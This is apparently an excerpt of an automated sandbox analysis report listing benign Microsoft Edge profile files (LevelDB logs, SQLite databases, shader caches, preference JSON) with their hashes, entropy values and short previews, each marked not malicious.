SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.196500106889802
Encrypted:	false
SSDEEP:	6:7z2RM1923oH+Tcwtkx2KLld74q2P923oH+TcwtCIFUv:7z2hYebkVLj8v4YebLFUv
MD5:	F65C2F4401ED425771EE2AECD99141F2
SHA1:	76CA703714C632FCD6A1E34531782F05959AF916
SHA-256:	03C832ADFBCDBDC712BC6F33B2A3A8923FF30B0D7EE36018226A9EB3569E5BF6
SHA-512:	9807FE9B71BE654A8D7686EC75C3CF3A0DE0701B3DA9909373158664F94C58E7535348962615D741013FC4270F838595A2A939A4D469C7C429F0C9DA4CD39A01
Malicious:	false
Preview:	2024/08/31-19:30:13.293 ee4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB since it was missing..2024/08/31-19:30:13.455 ee4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Sync Data\LevelDB\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Top Sites

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.3528485475628876
Encrypted:	false
SSDEEP:	12:TLiN6CZhDu6MvDOF5yEHFxOUwa5qguYZ75fOSiPe2d:TLiwCZwE8I6Uwcco5fBtC
MD5:	F2B4FB2D384AA4E4D6F4AEB0BBA217DC
SHA1:	2CD70CFB3CE72D9B079170C360C1F563B6BF150E
SHA-256:	1ECC07CD1D383472DAD33D2A5766625009EA5EACBAEDE2417ADA1842654CBBC8
SHA-512:	48D03991660FA1598B3E002F5BC5F0F05E9696BCB2289240FA8CCBB2C030CDD23245D4ECC0C64DA1E7C54B092C3E60AE0427358F63087018BF0E6CEDC471DD34
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....4....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.002095330713584969
Encrypted:	false
SSDEEP:	3:ImtVFFCt:IiVH
MD5:	A0980A062C0E6B486CF8CE227676311B
SHA1:	8BA547645CA28FCF1E8F9A879D8E8F0A1BC2F9DC
SHA-256:	2E73C6AACCADC83596AA8A24A6E632B5840F7B966B2B613A223959DD40FA3345
SHA-512:	8E3467D3F9CB68434F375D326D8DDB38C942D16E50FA9498075A76C0B89AD102F6E4E7F36E4D8F45187122079E3FCFBF897831ADCEAEE7BD30A0A26C049DA8EF
Malicious:	false
Preview:	VLnk.....?.......k.x..r.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 4, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	182272
Entropy (8bit):	1.076872391738034
Encrypted:	false
SSDEEP:	192:erb2qAdB9TbTbuDDsnxCkOKSAE+WslKOMq+vVumYrhn66:e/2qOB1nxCkOKSAELyKOMq+vVumGp
MD5:	CF202399DCA01B70CD2340C250FE0ADF
SHA1:	68B1491CABB08A1D3AD4CA1D9B14925E1FC55D83
SHA-256:	E8E09A775CAF6CA55C6833E72B3A2335154CBA5FFAF296A6B52802DE2067EFF3
SHA-512:	29946425D0476D531A4695F97B614B8B1697E74E0E806B6F2F2358597DAB5F2E586D4649785CD4040D1820BDF2D962D36DA5B3396BBB56FAE6366C1E677A0AE4
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\WebAssistDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 7, cookie 0xb, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	0.7836182415564406
Encrypted:	false
SSDEEP:	24:LLqlCouxhK3thdkSdj5QjUsEGcGBXp22iSBgm+xjgm:uOK3tjkSdj5IUltGhp22iSBgm+xj/
MD5:	AA9965434F66985F0979719F3035C6E1
SHA1:	39FC31CBB2BB4F8FA8FB6C34154FB48FBCBAEEF4
SHA-256:	F42877E694E9AFC76E1BBA279F6EC259E28A7E7C574EFDCC15D58EFAE06ECA09
SHA-512:	201667EAA3DF7DBCCF296DE6FCF4E79897C1BB744E29EF37235C44821A18EAD78697DFEB9253AA01C0DC28E5758E2AF50852685CDC9ECA1010DBAEE642590CEA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..................n..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\aba72e2a-1766-4a1a-955f-784f7e5e7810.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\bb719b8a-e01e-4b83-92a8-dd2a86a01aaa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24800
Entropy (8bit):	5.565732944615604
Encrypted:	false
SSDEEP:	768:SnwesPWPOcfiQ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVmPbAsrw8pGtui:SnwesPWPOcfiQu1javTAFltZ
MD5:	F56EEA77AD6E5B8FDABA7129E01DBB05
SHA1:	CDD786A737627BDAC497848FC6D3406CFD25BF0B
SHA-256:	718C7B8C869B204CC2DEE3AEDB7F97C834A413C41F640A093A62881861027A4F
SHA-512:	B0BB445944A149E4C2B7AAA4F356C777FABF8FF62B1C4FFA1ECA28D0F94C823C52EBE1FCD40991040AEED0D18888620D52704923E16415262F3C71481DB97B14
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13369620612824633","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13369620612824633","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.35226517389931394
Encrypted:	false
SSDEEP:	12:TLC+waBg9LBgVDBgQjiZBgKuFtuQkMbmgcVAzO5kMCgGUg5OR:TLPdBgtBgJBgQjiZS53uQFE27MCgGZsR
MD5:	D2CCDC36225684AAE8FA563AFEDB14E7
SHA1:	3759649035F23004A4C30A14C5F0B54191BEBF80
SHA-256:	080AEE864047C67CB1586A5BA5EDA007AFD18ECC2B702638287E386F159D7AEE
SHA-512:	1A915AF643D688CA68AEDC1FF26C407D960D18DFDE838B417C437D7ADAC7B91C906E782DCC414784E64287915BD1DE5BB6A282E59AA9FEB8C384B4D4BC5F70EC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......Q......Q......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\load_statistics.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, writer version 2, read version 2, file counter 1, database pages 1, cookie 0, schema 0, unknown 0 encoding, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.0905602561507182
Encrypted:	false
SSDEEP:	3:lSWFN3sl+ltlMWll:l9Fys1M
MD5:	A8E75ACC11904CB877E15A0D0DE03941
SHA1:	FBEE05EA246A7F08F7390237EA8B7E49204EF0E0
SHA-256:	D78C40FEBE1BA7EC83660B78E3F6AB7BC45AB822B8F21B03B16B9CB4F3B3A259
SHA-512:	A7B52B0575D451466A47AFFE3DCC0BC7FC9A6F8AB8194DA1F046AADA0EDDCCA76B4326AA9F19732BA50359B51EC72896BB8FA2FC23BAA6847C33AB51218511A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\load_statistics.db-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.28499812076190567
Encrypted:	false
SSDEEP:	3:7FEG2l//CxLlFll:7+/l//Cx
MD5:	D32AB53A388CB93762E351230AE8270A
SHA1:	C1DA74B23C4B1D2901D2859F30DDC74DF97D83E9
SHA-256:	F8C59732506A32C0405250E9282836FEFCCC90FFF21D540DA0A56351A0496B7B
SHA-512:	A042888ED366E1C17C06B43A3D096AC6E10452274DFB79691B99491D4BBC866924251FA580F16BECE17D550A8E332D2CA4EE19E9D1ACCB3AB1807A8D8DB6F766
Malicious:	false
Preview:	.... .c.....Zg.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.05035015541146411
Encrypted:	false
SSDEEP:	6:GLW0VYdzYLW0VYdpkL9X8hslotGLNl0ml/XoQDeX:aVuzYbVuWGEjVl/XoQ
MD5:	B6CD644069D155454887BB9A1BC561D6
SHA1:	F4E26A1CB7A85E3D32150A8787651CAFD0A70F1F
SHA-256:	DF9AD05F8BE839D52B969201D70E195071062CC1EE01FA4308AA23B3EE6582D6
SHA-512:	C21687BC1CAA1FA9D66DF1396E2D088A8991C6F64A18A0EAADA77FAC1D096E3796BCB854C31764AB392F51289015C5407F480F40D45193829CF1E3CB4D381AA2
Malicious:	false
Preview:	..-.....................R.+.aF#k....W.E9.T";..z...-.....................R.+.aF#k....W.E9.T";..z.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	70072
Entropy (8bit):	0.9972123226062257
Encrypted:	false
SSDEEP:	48:5lzxvTElO+ahcbX+YSn9VAKAFXX+R3x2VAKAFXX+QxOqVAKAFXX+vnUYVAKAFXXr:TxvToOQNsRNsqO5NsuNsoF
MD5:	DB2AFB37E57805376D42D7CE39C3814F
SHA1:	A4A2FAF02BEAD067717FA9FD13FB22AE70C08195
SHA-256:	E4B96885301ED980B3A67406589F7CCD3BD3A3EACCBD35CAFBDA807E33DE6B8E
SHA-512:	B2D3DF13F71F9D2405123C7B8F26789796755F1187974054DDAE765A449738A558ED0CD18C671C9FD37F1AE436EAB1CDAC95B70B4EB4D74AF6F6082057DC63B2
Malicious:	false
Preview:	7....-..............W.E9.v.................W.E9.{.._..<SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	5.500170118243836
Encrypted:	false
SSDEEP:	24:gZda8SSBStrxg/o/YPTouHRHXIIKst2YKIt2YKKKcVFQNkQNMYKIMYK+yKNAlkf1:gZda8SSBStVgQAPkuHRHXxtIYjIYzzVG
MD5:	C3A3D222A8C16E24E05AE524D245936B
SHA1:	447EB63146140D3A4C65E7304EB970F9673AF3A9
SHA-256:	F2E0CA5102C2EECBC1324BD8F439589D9738C8E6CF4DF0D048B3353AF8591D08
SHA-512:	2775C0697EA164F777B538162DCDABEB83D2D41674F332B173830B925BCDBC68332B95967ABF48647E44F7433A913194C63C1E69F8442906B7AECBDA5A048035
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..&f.................&f.................(.0................39_config..........6.....n ...1Wa]..................4_IPH_CompanionSidePanel...IPH_CompanionSidePanel.....$4_IPH_CompanionSidePanelRegionSearch(."IPH_CompanionSidePanelRegionSearch......4_IPH_DownloadToolbarButton...IPH_DownloadToolbarButton.....&4_IPH_FocusHelpBubbleScreenReaderPromo.$IPH_FocusHelpBubbleScreenReaderPromo......4_IPH_GMCCastStartStop...IPH_GMCCastStartStop......4_IPH_HighEfficiencyMode...IPH_HighEfficiencyMode......4_IPH_LiveCaption...IPH_LiveCaption......4_IPH_PasswordsAccountStorage!..IPH_PasswordsAccountStorage....."4_IPH_PasswordsWebAppProfileSwitch&. IPH_PasswordsWebAppProfileSwitch.....-4_IPH_PriceInsightsPageActionIconLabelFeature1.+IPH_PriceInsightsPageActionIconLabelFeature......4_IPH_PriceTrackingChipFeature"..IPH_PriceTrackingChipFeature.....&4_IPH_PriceTrackingEmailConsentFeature.$IPH_PriceTrackingEmailConsentFeature.....-4_IPH_PriceT

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.232803562645274
Encrypted:	false
SSDEEP:	6:713M1923oH+Tcwt0rl2KLldhVq2P923oH+Tcwt0rK+IFUv:713hYebeLjbv4Yeb13FUv
MD5:	A84B1F358EB10148B4EEA40BC4D85804
SHA1:	093527B7E4FF237A5E7C8C31C224E5DF876B94F8
SHA-256:	6B4FF496FCB0FF6751042F4F634A67B63C18EA8CCBEFE56522BCB856BCC367CA
SHA-512:	4AFE9B7E99E4C0229925182B83D470A425468A885A8CC5CAE6D4451F8AE9D445151DB3C991D2878876DE663B62DE5EF031E3CCCC4ECEF404234AE8D9ED333765
Malicious:	false
Preview:	2024/08/31-19:30:13.603 14c4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db since it was missing..2024/08/31-19:30:13.614 14c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	729
Entropy (8bit):	3.936959224933418
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3T6/yVf9P+KgkPsdbrRF6Nqa:G0nYUtypD3TKyb+KRc+
MD5:	2599825F15FDEE33A63D8EE7788DDDCD
SHA1:	8FBBFBD35EE226B1B1F66E6C9DFB4506585294F7
SHA-256:	3AFD6FBA7C656FBB86096DC480EC17D0B10685DFD0CF1F4A6D73D32945FC5E95
SHA-512:	E0F457674AE03C4FD1FBF358A52260B02DE9400FF4D6483F8AE4CD4F0A93D002B39B311757CAE8A99E288EE00193813AB0054AD24AEFEC7CF1FFEA90C01E949C
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_...../...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_..........................3_.......:@.................4_......R...................20_.......1..................19_......(...................18_.....I.Ha.................37_......m.}.................38_..........................39_......M...................3_......-D..................4_.....P"...................9_.........................9_.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.2142603056025285
Encrypted:	false
SSDEEP:	6:7WRRM1923oH+Tcwt0rzs52KLldBGSVq2P923oH+Tcwt0rzAdIFUv:7WnhYeb99LjBGOv4YebyFUv
MD5:	8E482AC14F693B1DAAEE785068F5ADAD
SHA1:	B622DDDC4DA49D82214CBDB8A031D45CC3B070F7
SHA-256:	E9C19C116373C336EFB50FBAC0F6B2953C6A179C33B3E87942C2F5785CE6C24E
SHA-512:	4064FEF544E70E691A761229F7B5384FBA5B26F1EC7B749C420D2D1ADC4BCEFE89E35811BEE50ECD701C8B9909835CC482E79EDD0AD38666D22C1E57D2055996
Malicious:	false
Preview:	2024/08/31-19:30:13.583 14c4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata since it was missing..2024/08/31-19:30:13.599 14c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\GrShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
